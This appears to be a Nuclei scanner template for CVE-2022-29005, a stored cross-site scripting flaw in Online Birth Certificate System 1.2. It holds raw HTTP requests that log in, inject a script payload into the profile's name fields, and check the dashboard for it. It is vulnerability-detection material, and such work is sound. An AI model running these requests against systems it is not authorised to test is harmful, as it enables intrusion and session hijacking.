CVE-2022-29005: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting

id: CVE-2022-29005

info:
  name: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt
    - https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29005
    - http://online.com
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29005
    cwe-id: CWE-79
    epss-score: 0.22122
    epss-percentile: 0.95596
    cpe: cpe:2.3:a:phpgurukul:online_birth_certificate_system:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: phpgurukul
    product: online_birth_certificate_system
  tags: cve,cve2022,xss,obcs,authenticated,phpgurukul
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /obcs/user/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        mobno={{username}}&password={{password}}&login=
      - |
        POST /obcs/user/profile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        fname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=
      - |
        GET /obcs/user/dashboard.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_3, "text/html")'
          - 'status_code_3 == 200'
          - contains(body_3, 'admin-name\">{{str}}<script>alert(document.domain);</script>')
        condition: and
# digest: 490a004630440220569d6e5f29072732e02235e190e6119c73d70e6da3cd405bbc6b40bf205185c4022019d0c72719d9541ed3af892b54997e78962a94d5ec347f32c01c27b3ee512b32:922c64590222798bb761d5b6d8e72950